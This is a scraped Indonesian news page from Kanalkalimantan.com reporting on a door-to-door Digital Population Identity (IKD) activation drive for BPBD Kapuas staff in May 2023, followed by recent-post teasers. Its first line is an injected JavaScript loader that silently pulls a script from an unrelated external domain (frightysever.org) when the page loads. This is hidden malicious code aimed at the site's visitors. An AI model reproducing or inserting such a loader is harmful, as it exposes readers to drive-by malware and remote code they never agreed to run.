(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Manfaatkan Layanan Aktivasi Identitas Kependudukan Digital Jemput Bola Disdukcapil Kapuas


KANALKALIMANTAN.COM, KUALA KAPUAS – Pegawai Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Kapuas antusias melakukan aktivasi Identitas Kependudukan Digital (IKD).

Mereka memanfaatkan layanam program jemput bola yang dilakukan Dinas Kependudukan dan Pencatatan Sipil (Dukcapil) Kabupaten Kapuas di kantor BPBD Kapuas, Jalan Kasturi, Kecamatan Selat, Selasa (9/5/2023).

Plt Kepala Disdukcapil Kapuas Sipie S Bungai mengatakan, jemput bola dilakukan untuk percepatan pelaksanaan penerapan IKD bagi seluruh Aparatur Sipil Negara (ASN) lingkup Pemkab Kapuas dan instansi vertikal di wilayah Kapuas.

Melalui kegiatan pelaksanaan layanan jemput bola terjadwal dari Disdukcapil Kabupaten Kapuas ke masing-masing SOPD di Kabupaten Kapuas ini, dapat memudahkan para pegawai.

Baca juga: Dua Kali Sidang Tuntutan Kasus Korupsi KONI Banjarbaru Ditunda, JPU Belum Siap

“Karena tanpa perlu mendatangi hingga antre ke kantor Disdukcapil Kapuas, sehingga masih bisa sambil bekerja atau memberikan pelayanan di kantor,” katanya, Selasa (9/5/2023) siang.

Dengan melakukan aktivasi IKD ini, lanjut dia terdapat beberapa manfaat yang didapatkan, diantaranya memudahkan verifikasi diri tanpa harus membawa KTP elektronik fisik, mempermudah pengaksesan pelayanan publik, serta mempermudah mengakses data anggota keluarga.

Dalam kegiatan, terlihat sebagian besar pegawai BPBD Kapuas bergantian untuk melakukan pendaftaran aplikasi melalui smartphone yang kemudian di-scan dan diverifikasi oleh petugas Disdukcapil dan akan diberikan pemberitahuan melalui email masing-masing untuk dapat diaktivasi.

Pihaknya juga mengharapkan kerja sama dari seluruh OPD maupun instansi vertikal agar dapat memfasilitasi tempat dan waktu saat Tim Disdukcapil nantinya melakukan aktivasi, sehinga penerapan IKD ini dapat terpenuhi untuk wilayah Kabupaten Kapuas. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.